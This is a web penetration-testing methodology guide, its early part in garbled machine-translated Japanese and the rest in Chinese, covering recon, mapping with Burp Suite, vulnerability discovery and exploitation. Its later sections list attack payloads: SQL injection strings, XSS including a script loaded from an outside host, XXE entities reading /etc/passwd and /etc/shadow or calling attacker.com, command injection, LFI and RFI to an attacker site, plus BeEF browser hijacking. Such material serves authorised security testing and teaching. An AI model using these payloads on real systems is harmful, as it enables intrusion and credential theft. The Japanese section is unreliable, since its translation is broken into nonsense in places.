0x00の前文
このノートでは、古典的な段階でのWebアプリケーションの浸透をまとめたものです。私はこれらのステップにサブタスクに一つ一つを分解し、お勧めしますと、各サブタスクのために利用可能なツールを紹介します。
この記事で紹介した技術の多くは、ここで、著者は転載を許可しています。
これらは浸透過程で、あなたは複数回にそれらを使用することができますので、私は、反復処理を説明するステップであることを忘れないでください。アプリケーションなど、管理者ユーザーからアップグレードする一般ユーザとしての権限の異なるレベルを取得しようとすると、栗のために、あなたは反復を使用する必要があります。
最後に、プリアンブルは、多くの場所で、このノートはのPortSwigger料使用していることに注意すべきげっぷスイートProfessionalを。私は申し訳ありませんが、私は、このツールは、それだけの価値があると思います。
0x01の情報収集
ウェブ浸透工程において、収集された情報の目的は、Webアプリケーションの全体像を理解するために、ビューの観客点に立っています。
1.目的を確認
ツール | 簡単な紹介 |
---|---|
誰が | RFC 3912に基づいて、ドメイン名プロトコルに関する情報を照会するために使用されます。 |
君 | 短いのドメイン情報取得ツール(ドメイン情報痴漢)は、ネットワーク管理クエリDNSサーバー用のコマンドラインツールです。 |
DNSRecon | DNSの列挙は、スクリプトを自動化darkoperatorメンテナンス。 |
1.1ドメイン名の登録情報
以下の手順でターゲットの所有者情報を確認します。
- Whoisのターゲットドメイン/ホスト名
whois example.com
- IPアドレス解決の対象ドメイン/ホスト名
dig +short example.com
- WhoisのIPアドレス
whois 104.27.178.12
- 分析出力
ターゲットはWHOISプライバシー保護を有効にした場合、結果が返される場合があり、混乱の結果です。
!!不正サイトを攻撃しないでください。侵入テスターとして、我々は、彼らがテストするターゲットの所有者を対象とする権限を与えられていないテストの前にクリアする責任があります。目標は、テストを確認する最初のステップに浸透し始めることであるのはこのためです。
1.2 DNS情報の照会
私は行くのが好き https://dnsdumpster.com/は 非常に良いオンライン情報DNSクエリツールである先のサイトのDNS情報を、照会します。
- フォワード問い合わせ
dig +nocmd example.com A +noall +answer
dig +nocmd example.com NS +noall +answer
dig +nocmd example.com MX +noall +answer
dig +nocmd example.com TXT +noall +answer
dig +nocmd example.com SOA +noall +answer
...
dig +nocmd example.com ANY +noall +answer (This rarely works)
- 逆引き参照
dig -x 104.27.179.12
dig -x 104.27.178.12
1.3テストの脆弱性ドメイン転送
DNSドメインの送信はメインルームにDNSサーバーからレコードをコピーするためのトランザクションです。(翻訳者注:あなたが見ることができ、これを)、現在ではまれホストが開かれますが、それでも確認する必要がありますが。ドメイン転送抜け穴たら、それはあなたが以下のドメイン全体のすべてのレコードを得ることを意味します。
ドメイン転送抜け穴を容易に回避すること。管理者は、ホワイトリストの送信要求することができる唯一のIPリストフィールドを許可するように、少なくとも設定することができます。
- 使用例
dig -t NS zonetransfer.me +short
dig -t AXFR zonetransfer.me @nsztm1.digi.ninja
dig -t AXFR zonetransfer.me @nsztm2.digi.ninja
- DNSReconは自動化され、そして多くの場合、それ以上の追加の情報を返すことができます。
dnsrecon -d example.com
2. OSINT公共の情報収集
ツール | 説明 |
---|---|
偵察-NG | ティムLanmaster53の公開情報ツールフレームワークトームズは、コミュニティによって維持され、書きました。http://recon-ng.com/ |
Maltego | Maltegoは、相関分析を示すレンダリングできるインタラクティブなデータマイニングツール、です。 |
Thehrvester | theHarvesterは公共資源、サブドメイン名、ウェブホスティング、オープンポート/ホストの指紋と従業員の名前やその他のさまざまな情報からメールを収集することができます |
私はこのノートに詳細な説明OSINTを含めたかったが、そうしないという決定を思いました。私は(おそらく中でいくつかの後に)この部分は個人を書くことができると思いますので。
このノートでは、私はOSINTにいくつかの素晴らしいドライ商品をご紹介します、私は、侵入テスト担当者は、これらの乾燥品に非常に精通しているべきだと思います。
-
マイケルBazzell
-
Googleのドーキング
0x02のマッピング
侵入テストプロセスでは、全体像を把握するために、アプリケーションのユーザの視点に立って汎用のマッピング。
1. [ツール]
ツール | 入門 |
---|---|
Nmapの | サービス認識とOSフィンガープリントとのTCP / IPホストとポートスキャナ |
1.1ポートスキャン、サービス識別、OS認識
- 1000番のTCPポートは、前のスキャン
nmap 192.168.100.2
- (ARP、ICMP、TCPシーケンス80による)8のPingスキャンローカルホスト
nmap –sP 192.168.100.0-7
- 80443ポートスキャン
nmap -p 80,443 192.168.100.2
- スキャン前に1000番のTCPポート、OSフィンガープリント、サービス、そしてスクリプトNSEを実行します
sudo nmap -A 192.168.100.2
- すべての65,535 TCPポート、OSフィンガープリント、サービスをスキャンして、スクリプトを実行NSE
sudo nmap –A –p- 192.168.100.2
- 1000番UDPポートは、前のスキャン
sudo nmap -sU 192.168.100.2
- UDPポートはすべて65535スキャン
sudo nmap -sU –p- 192.168.100.2
- すべての65535個のUDPポートをスキャンし、サービスへのアクセス、OSフィンガープリント、その後、いくつかのスクリプトを実行NSE
sudo nmap –sU -p- -A 192.168.100.2
!ポートスキャンは、第一及び第二の遷移の過程を浸透しばしばあります。公開ポート、サービスのバージョン、およびOS /秒に細心の注意を払ってください!
2.ブラウザのプロキシ設定
2.1 Firefoxの
ツール | 説明 |
---|---|
Firefoxの | 現代のクロスプラットフォームブラウザ、多くの有用なプラグインがあります |
Firefox
それはグローバルなプロキシには影響しません便利なプラグインとそのプロキシ設定をたくさん持っているため、Web侵入テストプロセスは、通常はブラウザでの最初の選択肢です。
2.2 Firefoxのプラグイン
ツール | 説明 |
---|---|
ユーザーエージェント切り替え | ユーザーはすぐにプロキシのFirefoxアドオンを切り替えることができます |
Wappalyzer | あなたは、ウェブサイトの多種多様に使用されるプラグイン技術およびソフトウェアコンポーネントを検出することができます |
FoxyProxyの | エージェントスイッチャープラグイン |
私は常にこれらのプラグインは、各侵入テストプロセスで使用することができます、私はあなたが第二段階(マッピング)の前だけでなくそれらをインストールすることをお勧めします。
Firefoxの2.3とBurpsuitを設定します
あなたがマッピングを行う前には、通過するトラフィックを許可する、ブラウザにエージェントを設定する必要がありますBurp
。
-
で
Firefox
-
プラグインを設定します
FoxyProxy
- IP:127.0.0.1
- ポート:8080
-
設定
Firefox
信頼げっぷのSSL証明書- オープン
http://burp/
- 証明書を保存します
- 証明書のインポート
Firefox
- オープン
-
2.4げっぷの設定
ツール | 説明 |
---|---|
げっぷスーツプロ | Webセキュリティテストスイート |
あなたはげっぷは彼が自分の好みに合わせてみましょう設定する必要があります。しかし、少なくとも、私はあなたが設定することをお勧めScan Speed
しthorough
ますが、スキャナを使用する場合より多くの抜け穴をスキャンするために、より多くのリクエストを送信するように、。
2.5げっぷ拡張
ツール | 説明 |
---|---|
げっぷエクステンダー | げっぷスイートの機能を拡張するために使用されるAPIは、あなたが店BAPPに取得することができます |
Retire.js(BAPP) | Javascriptの脆弱性検出コンポーネントのバージョン後方延長のためのげっぷスイート |
Wsdler(BAPP) | WSDLファイルを解析することができ、その後、試験方法のすべては、要求を許可します |
Pythonのスクリプター(BAPP) | これは、ユーザ定義の各HTTP要求と応答のPythonスクリプトで実行することができます |
これらBurp
の拡張機能は、私が侵入テストプロセスで使用されるものです。そしてFirefox
拡張、私はあなたがマッピングする前にそれらをインストールすることを示唆しています。
それらを使用することができるBurp Suite Pro
でBurp Extender
モジュール取付。
3.ブラウザ人工
ブラウズ人工マッピングプロセスは、最も重要な一部であってもよいです。あなたは、ページ上の各ジャンプをクリックし、各ページを通過する必要があるので、これらの要求と応答は、内部のサイトマップのげっぷに表示される場合があります。
!!!単一ページのアプリケーションのために非常に、非常に重要な手で閲覧できます。自動化されたウェブクローラは、単一ページのアプリケーションのHTTP要求がAJAXが行わ非同期を使用しているとして、単一ページのアプリケーションを登ることができません。
クロール4.自動化
クロール自動化を使用することであるBurp Spider
。このプロセスでは、手動で見つからなかっ閲覧ページの一部で見つけることができ、実施しました。一般的にげっぷSpiderは従来のWebアプリケーションでより多くのページを検索します。
!!!自動クローラは非常に危険です。私は通常、手動でページの80%〜95%、クロール爬虫類のほんの一部を参照します。爬虫類は、特定の状況下で失敗する傾向があるため。
その後の分析
あなたが使用する必要があります。この時Burp
、このステップのマッピング最初の反復を完了するためには、あなたは、現在入手可能な情報のすべてに注意を払う必要があります。
5.1特別な注意が必要です
- Webサーバー
- ウェブソフトウェアアーキテクチャ(技術スタック)
- プログラム言語
- フレーム
- デザインパターン
あなたには、いくつかの点に注意を払うことができます。この時間は、特定のページにジャンプを機能させる必要があります。それは特定のホッピングシーケンスを達成することができ満たしていないように、通常、これらの機能のポイントを手動で操作することができ、これはあなたが主要な発見を持つことができます。(栗、Eコマースサイトの決済機能、パスワードリセットページ、などの場合)
0x03の脆弱性マイニング
侵入テストでは、脆弱性の発見は、Webアプリケーションの全体像を理解するために攻撃者の視点です。
1.移行
あなたの後のマッピングは、およびいくつかの基本的な分析機能を実施した後、あなたは抜け穴を掘り始めることができます。このステップは、あなたに多くのWebアプリケーションの脆弱性が存在することを認識すべきです。これらの脆弱性はされていませんThe OWASP Top 10
また、アプリケーションのビジネスロジックに含まれているもの、に含まれています。あなたは抜け穴がたくさん遭遇することに注意してください、それは既存のカテゴリのいずれかに属していない、あなたはいつもこれに警戒しなければなりません。
2.コンテンツマイニング
2.1脆弱性スキャン
名前 | 説明 |
---|---|
誰も | Webサービスの脆弱性スキャナの指紋認識 |
Nikto
特に大規模なWebアプリケーションのパフォーマンスでは、ウェブサービスの脆弱性スキャナの最高の価値がある非常によく。それはの利点を取ることができ-Format
、特定の形式のスキャン結果をエクスポートしてオプション、スキャンを読み、分析することが容易になります。
- 目標をスキャンし、HTMLに結果をエクスポート
nikto -h http://example.com -output ~/nikto.html -Format htm
脆弱性スキャンは、通常、遷移の第二及び第三のステップです。あなたはスキャンの結果を持っていたら、あなたはいくつかの印象的なを表示するには、ページを開いて、結果を分析する時間を取る必要があります。
3.(翻訳者注:これは非常に厄介な翻訳を感じて、以下の内容を参照してください、それが何を意味するかを理解することができるはずです)、ブラウザを強制
名前 | 説明 |
---|---|
げっぷ婚約ツール | げっぷスイートProは、専用のツールが付属しています |
婚約ツール:コンテンツを発見 | げっぷスイートProは、閲覧を強制するためのツールが付属しています |
げっぷ侵入者 | モジュラー自動攻撃は、カスタマイズのための組曲をげっぷ。(等ブルート強制的に、注射など) |
FuzzDB | これは、各種の悪質な入力、リソース名、文字列に応じて、コンテンツのためのgrep検索、ウェブシェルとを含んでいます。 |
マイニング技術であるブラウザを強制、それはアプリケーションページで見つけることができ、参照が、実際にアクセスされていません。Discover Content
それはBurp
特にこの目的のためのツール。また、Burp Intruder
それはまた、辞書攻撃によって(通常はURLとファイルパスの部分でパラメータを変更)強制ブラウジングをすることができます。FuzzDB
辞書は、この目的のためにいくつかの非常に高速なハードウェアが含まれている、次のことができ、ここで参照してください。
3.1テスト任意コンテンツ
名前 | 説明 |
---|---|
ユーザーエージェント切り替え | Firefoxのプラグインは、ブラウザのユーザーエージェントの迅速なハンドオーバーのために |
げっぷ侵入者 | モジュラー自動攻撃は、カスタマイズのための組曲をげっぷ。(等ブルート強制的に、注射など) |
FuzzDB | これは、各種の悪質な入力、リソース名、文字列に応じて、コンテンツのためのgrep検索、ウェブシェルとを含んでいます。 |
コンテンツマイニングこのステップでは、私は本当に一つのことをしたいです。それはの使用であるUser Agent Switcher
異なるスイッチングユーザーエージェントと同じ特定のページにアクセスします。異なるため、多くのWebアプリケーションからですUser-Agent
とReferer
リクエストヘッダは異なるコンテンツを返します。
私は頻繁に使用Burp Intruder
ファジングにUser-Agent
し、Referer
一般にも使用され、リクエストヘッダFuzzDB
辞書を。
4.自動化された脆弱性の発見
名前 | 説明 |
---|---|
げっぷスキャナ | 自動スキャンのセキュリティの脆弱性は、Suiteツールをげっぷ |
脆弱性の始まりは、あなたが掘るとマッピングする場合とき、Burp Passive Scanner
それは静かにバックグラウンドで実行されています。あなたは、まず、このスキャンの結果を分析する必要があり、その後Burp Active Scanner
、このようにBurp Passive Scanner
注目すべきページで見つけることができBurp Active Scanner
、詳細なスキャン。
げっぷアクティブスキャナを完了するのに必要な時間が非常に長いので、私はほんの短い時間を確保することを好む、そしてその結果を、それらの間のスキャン結果を表示し、記録します。
!!!自动化的漏洞扫描是很危险的。用Burp Scanner可能导致不良的影响。除非你非常熟悉目标的功能与环境,否则你只应在非生产环境中使用。
5. 配置
5.1 默认配置
在确认了目标所使用的技术后,很自然的一步跟进就是测试有没有默认配置。许多框架使用许多易受攻击默认配置的应用程序以便于向开发人员介绍他们的产品。然后由于开发人员的疏忽,这些示例应用被部署到和目标站点所在的同一台服务器上,这使得目标站点承受很大的风险。
5.2 错误配置
在Web渗透测试的每一步,你都应该注意Web应用有没有错误的配置。你可以特别关注页面出现的错误信息,这些信息经常会给出很有用的数据库结构
和服务器文件系统
等信息。
错误信息几乎总能够发现一些。这些错误信息在注入和LFI(Local File Include)中特别有用。
另外一个值得注意的是页面的敏感表单有没有禁用自动填充。比如密码字段经常会有一个“显示/隐藏”按钮。浏览器默认不会填充type="password"
的input
标签内容,而当密码字段是“显示”时,input
标签就变成了type="text"
,这样浏览器就会进行自动填充。这在多用户环境下是一个隐患。
6. 身份认证
在漏洞挖掘过程中,你应该认真审视你看到的每个登录表单。如果这些表单没有做很好的安全措施(比如双重认证,验证码,禁止重复提交等),攻击者就可能得到用户账户未授权的权限。取决于表单的不同实现以及不同的框架/CMS,即使登录失败目标站点也可能会透露出用户账户的一些信息。
如果你测试发现了上述所讨论的问题,你应该关注并记录。另外,如果登录表单没有加密(或者利用了旧版本的SSL/TLS),这也应该关注并记录。
6.1 模糊登录测试
名称 | 描述 |
---|---|
CeWL | 通过爬取目标站点来生成用户字典的工具 |
Burp Intruder | Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等) |
在你认真审视了登录表单后,就可以开始登录测试了。CeWL
是一款非常好用的用于生成一次性字典的工具。你可以利用-h
查看帮助文档。
基本语法如下
cewl [options] www.example.com
当你构造好用户字典后就可以开始用Burp Intruder
进行实际的模糊测试了。通常我会用两个payload集(一个是用户名的,另一个是CeWL
生成的密码)。Intruder的Attack Type通常应该选Cluster Bomb
。
7. Session管理
Session-token/Cookie分析在渗透测试过程中虽然不是很吸引人的部分,但确实非常重要的一块。通常是这样子的,你想了解整个web应用是如何跟踪Session,然后用Burp Sequencer
这样的工具去测试session token的随机性/可预测性。一些应用(较传统的应用)会把session的内容存储在客户端。有时候这些数据里面会包含有加密的,序列化的敏感信息。
这时也应该检查HTTP返回头的Set-Cookie
是否包含Secure
和HttpOnly
的标识。如果没有的话就值得注意了,因为没有理由不设置这些标识位。
Google搜索你得到的session token,可能会有一些发现,比如Session可预测等,这样就可以进行Session劫持攻击。
7.1 用Burp测试Session Tokens
名称 | 描述 |
---|---|
Burp Sequencer | Burp用来分析数据集的随机性的模块 |
Burp Sequencer
是用来测试Session Token随机性和可预测性的很好的工具。当你用这个工具来测试目标的Session管理时,你应该先清除所有的Cookies,然后重新认证一次。然后就可以把带有Set-Cookie
头的返回包发送给Burp Sequencer
,然后Sequencer就会启动新的拦截对Token进行分析。通常10000次请求就差不多可以判断随机性和可预测性了。
如果发现Session token不够随机,那就可以考虑Session劫持了。
8. 授权
授权漏洞很像功能级访问控制缺失和不安全的直接对象引用漏洞,是很长一段时间我发现的最流行的漏洞。这是因为许多的开发者没有想到一个低权限甚至是匿名用户会去向高权限的接口发送请求(失效的权限控制)。
http://example.com/app/admin_getappInfo
或者是去请求其他用户的数据(不安全的直接对象引用,译者注:水平越权)
http://example.com/app/accountInfo?acct=notmyacct
8.1 测试权限控制
名称 | 描述 |
---|---|
Compare Site Maps | Burp的用于测试授权的模块 |
这里有个小技巧,就是注册两个不同权限的用户,然后用高权限的用户去访问整个Web应用,退出高权限用户,登录低权限用户,然后用Burp的Compare Site Maps
工具去测试哪些页面的权限控制没有做好。
9. 数据验证测试
名称 | 描述 |
---|---|
Burp Repeater | 用于手工修改、重放HTTP请求的Burp模块 |
注入漏洞的存在是因为Web应用接受任意的用户输入,并且在服务端没有正确验证用户的输入的有效性。作为一个渗透测试者,你应该注意每一个接受随意的用户输入的地方并设法进行注入。
因为每个Web应用情况都不一样,所以没有一种万能的注入方式。接下来,我会把注入漏洞进行分类并且给出一些Payload。Burp Repeater
是我测试注入漏洞时最常使用的工具。它可以重放HTTP请求,并且可以随时修改Payload。
有一件事需要谨记:漏洞挖掘阶段要做的只是识别漏洞,而漏洞利用阶段才会利用漏洞做更多地事。当然,每个注入漏洞都值得被记录,你可以在漏洞挖掘阶段之后对这些注入漏洞进行深入的测试。
在每个分类下可以参照OWASP获取更多地信息。
9.1 SQLi
任何将输入带入数据库进行查询的地方都可能存在SQL注入。结合错误的配置问题,会导致大量的数据被攻击者盗取。
我推荐你在做SQL注入时参照这个Wiki。如果你输入了这些Payload得到了数据库返回的错误信息,那么目标就非常有可能存在SQL注入漏洞。
Sqlmap
是一款自动化的SQL注入工具,我将会在漏洞利用阶段介绍它。
- 示例
' OR 1=1 -- 1
' OR '1'='1
' or 1=1 LIMIT 1;--
admin';--
http://www.example.com/product.php?id=10 AND 1=1
9.2 跨站脚本攻击(XSS)
攻击者利用Web应用程序发送恶意代码(通常是JavaScript代码)给另外一个用户,就发生了XSS。
有三种不同的XSS:
- 存储型。当提供给Web应用的数据是攻击者事先提交到服务器端永久保存的恶意代码时,发生存储型XSS。
- 反射型。当提供给Web应用的数据是服务端脚本利用攻击者的恶意输入生成的页面时,发生反射型XSS。
- DOM型。DOM型XSS存在于客户端的脚本。
- 示例
<IMG SRC=javascript:alert('XSS')>
"><script>alert('XSS')</script><"
" onmouseover="alert('XSS')
http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
9.3 XML 注入
当Web应用的XML解析器没有正确的验证攻击者传入的XML文档,就会发生XML注入。
- 示例
Username = foo<
Username = foo<!--
9.4 XML实体注入(XXE)
若实体的定义是一个URI,那么这个实体就叫做外部实体。除非特别配置,不然外部实体会导致XML解析器去请求这个URI。比如请求本地或远程的一个文件。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
9.5 模板注入
模板注入就是攻击者利用模板的语法注入恶意代码。
- 示例
<%= 7 * 7 %>
{{ 7 * 7 }}
9.6 命令注入
用户注入操作系统的命令到Web应用程序并被执行,就发生了命令注入。
- 示例
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Doc=Doc1.pdf+|+Dir c:\
9.7 恶意重定向
当应用没有检查用户可控输入时,攻击者输入了恶意的URL并被应用接受时发生。
- 示例
http://www.target.site?#redirect=www.fake-target.site
http://www.target.site??url=http://www.fake-target.site
9.8 本地文件包含(LFI)
LFI指的是Web应用允许包含本地服务器端存在的文件。
- 示例
http://vulnerable_host/preview.php?file=../../../../etc/passwd
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
9.9 远程文件包含(RFI)
RFI指的是Web应用允许包含远程服务器上存在的文件。
- 示例
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
10. 逻辑漏洞
想要发现逻辑漏洞,你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后,你才能推想哪里有可利用的地方。测试逻辑漏洞时,可以回想作为普通用户是如何使用Web应用的功能的,是如何一步一步完成各种动作的,然后你要做的就是不按照这些步骤来。
此外,这时候也可以测试下输入一些不切实际的值。(比如一款健生app,用户输入自己的跑步里程)。
这时也可以测试非法文件上传。
11. 加密算法漏洞
名称 | 描述 |
---|---|
SSLyze | TLS/SSL分析工具 |
测试Web应用的TLS/SSL实现的质量,我推荐先去这里,如果搞不到,可以用SSLyze
。
- 示例
sslyze --regular www.example.com
分析的目的可以归结为:
- 目标是否使用了某种形式的加密手段。
- 目标使用的加密手段是否已经过时(TLS 1.2, SSL2/SSl3)。
这时候也应该注意目标是否用了脆弱的加密算法(MD5,RC4等),是否支持正向加密(译者注: 一次一密)等。
12. 拒绝服务
拒绝服务是利用某种手段让目标无法为合法用户提供服务。拒绝服务的类型包括用户文件上传(上传巨大文件)到用户账户锁定(为了防止登录爆破)等。
如果存在载入很慢的页面或者是Ajax请求很卡,那么就意味着这个地方可能会被用于拒绝服务攻击。
13. Flash漏洞
名称 | 描述 |
---|---|
Firefox Developer Tools | Firefox浏览器自带的用于诊断、审计、调试客户端代码的工具 |
JPEXS (FFDec) | 开源的SWF文件反汇编工具 |
如果目标使用了flash或者其他的需要编译的客户端技术(如silverlight),那么你应该下载下来然后利用JPEXS FFDec
这样的反汇编工具来审计他们的源代码。如果你成功的对他们进行了逆向工程,你可能会发现一些隐藏的漏洞。
0x04 测试Web服务
Web服务用于机器之间的数据交换,他们应该用之前介绍的方法进行测试(Mapping->漏洞挖掘->漏洞利用),可以用Burp
对请求进行拦截,然后分析接口返回的数据。
1. 测试REST服务
如果有文档的话,测试REST服务之前应该阅读它。当然,这通常是白盒测试或者是灰盒测试时的做法,或者你想更深入的进行测试时也可以这么做。
在黑盒测试过程中,我们可以用burp
拦截请求和响应,观察JSON
格式的响应信息来了解接口的作用,但是这个过程非常麻烦,不是很推荐。
因为REST使用http
协议,所以我们也可以测试之前的一些漏洞比如SQLi和XSS。
测试REST服务时可以参考以下文章:
2. 测试SOAP服务
名称 | 描述 |
---|---|
Wsdler (BApp) | 可以解析WSDL文件,然后测试所有的允许的方法的请求 |
尽管如今我在渗透测试中观察到REST服务比SOAP服务更多,但还是应该注意它。
基于SOAP的Web服务有一点很好,就是他是通过WSDL文件自描述的。你可以用Wsdler (BApp)
这样的工具来解析WSDL文件,然后用Burp Repeater
来发送测试请求。
和REST一样,我们也可以测试之前的一些漏洞比如SQLi和XSS。
-
检查任何一个在mapping和漏洞挖掘时发现的和服务有关的路径
-
查看WSDL文件获取接口信息然后导入Burp
-
在Burp Proxy的历史标签页,把WSDL文件通过
Parse WSDL
右键选项加入到Wsdler扩展 -
发送测试请求给Repeater,观察服务如何工作
测试SOAP服务时可以参考:
0x05 漏洞利用
在漏洞利用阶段,是利用之前发现的漏洞,评估他们影响范围与风险。
简单来说,这一步就是查阅之前步骤中你所发现与记录的信息,尽可能深地利用发现的漏洞。有时在漏洞利用过程中,你可能需要更高的权限才能进行下去,这时你应该返回去,从mapping步骤开始重新迭代之前的过程。
下面是一些示例场景,但这一步是非常独特的。
1. 利用场景
2. 利用XSS
2.1 浏览器劫持
名称 | 描述 |
---|---|
BeEF | 基于web的XSS平台 |
如果你发现目标应用确实存在XSS漏洞,这时你可以试试是否可以用BeEF
这样的工具来控制目标浏览器。
可以参考这篇。
你可以使用自己的浏览器来验证XSS漏洞的危害性当你向客户展示你发现的XSS漏洞时。